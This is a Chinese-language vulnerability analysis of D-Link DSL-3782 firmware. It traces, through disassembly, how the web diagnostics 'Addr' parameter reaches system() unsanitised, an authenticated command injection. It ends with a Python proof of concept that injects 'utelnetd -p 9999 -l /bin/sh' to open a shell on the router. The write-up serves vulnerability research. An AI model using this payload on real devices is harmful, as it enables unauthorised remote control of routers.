一、提取固件并分析
binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin
查看/usr/etc/init.d/rcS
#Web server
if [ ! -d "/var/boaroot/html/" ] || [ ! -d "/var/boaroot/cgi-bin/" ]; then
/userfs/bin/boa -c /boaroot -d &
/bin/rm -rf /var/boaroot
else
/userfs/bin/boa -c /var/boaroot -d &
fi
说明boa
为web server。
二、定位漏洞点
查询资料,官网说漏洞点出在cfg_manager
的byte_4C0160
中,使用IDA寻找一下。
进入sub_474c78
,v0 = system(byte_4C0160);
中使用system进行命令执行。
但是无法判断byte_4C0160
是否为用户可控,寻找byte_4C0160
的赋值点,查看byte_4C0160
的调用。
addiu $s2,$v0,(byte_4c0160-0x4c0000)
是MIPS的相加指令,即$s2=$v0+(byte_4c0160-0x4c0000)
,跟进查看。
.text:00474BD8 addiu $s2, $v0, (byte_4C0160 - 0x4C0000)
.text:00474BDC move $a0, $s2
.text:00474BE0 move $a1, $zero
.text:00474BE4 jalr $t9 ; memset
.text:00474BE8 li $a2, 0x80
.text:00474BEC li $v0, 0x70 # 'p'
.text:00474BF0 beq $s0, $v0, loc_474C58
.text:00474BF4 lw $gp, 0x10($sp)
.text:00474BF8 la $t9, sprintf
.text:00474BFC lui $a1, 0x4A # 'J'
.text:00474C00 move $a0, $s2
.text:00474C04 li $a1, aTracerouteNM10 # "traceroute -n -m 10 -w 2 %s > /tmp/var/"...
.text:00474C08 jalr $t9 ; sprintf
.text:00474C0C move $a2, $s1
.text:00474C10 lw $gp, 0x10($sp)
.text:00474C14
.text:00474C14 loc_474C14: # CODE XREF: .text:00474C70↓j
.text:00474C14 la $t9, pthread_create
.text:00474C18 li $a2, sub_474C78
根据这段汇编,可以看到byte_4c0160
传值给了$s2
,然后给了$a0
,然后调用了sprintf
,然后通过pthread_create
调用了我们发现调用system函数的sub_474c78
。
直接使用F5反汇编,报错,说明该段代码被识别为代码块而非函数块。
向上寻找至.text:00474AC8
。发现如下代码。
.text:00474AC4 # End of function sub_474AA0
在.text:00474AC8
代码处按P修复。
按F5反汇编。
红框标出的地方就是给byte_4c0160
赋值的地方,创建的start_routine
函数则是最开始定位到的sub_474c78
函数
继续分析给byte_4c0160
赋值的代码
if ( v4 == 112 )
sprintf(byte_4C0160, "/bin/ping -c 4 -W 2 %s > /tmp/var/alpha_diag.tmp 2>&1", v9);
else
sprintf(byte_4C0160, "traceroute -n -m 10 -w 2 %s > /tmp/var/alpha_diag.tmp 2>&1", v9);
v7 = pthread_create(&v8, 0, start_routine, 0);
该值由v9控制,往上看代码
if ( getAttrValue(a1, a2, "Addr", v9) )
return -1;
v9由传递的参数a1,a2控制。那么,如果sub_474AC8
的a1,a2可控,就可以进行命令执行了。根据代码的经验,sub_474AC8
是一个处理传入start_routine
即sub_474c78
函数的参数的前置函数,这一段的代码的主要目的是为了执行sub_474c78
函数的功能。代码中。
tcapi_set("Diagnostics_Entry", "Result", "0");
显然是在使用某一个api接口,全局搜索Diagnostics_Entry
。
居然在webapi中有关键词,那么该参数是来自web前端。
三、PoC
该漏洞的利用需要登陆,因此除了传入Type
和Addr
两个参数之外,还需传入sessionKey
这个参数。
def poc():
cmd = "utelnetd -p 9999 -l /bin/sh"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
}
params = {
"Type":"p", "sessionKey":sessionKey,
"Addr":cmd
}
url = "http://192.168.0.1/cgi-bin/New_GUI/Set/Diagnostics.asp"
resp = s.post(url,data=params,headers=headers)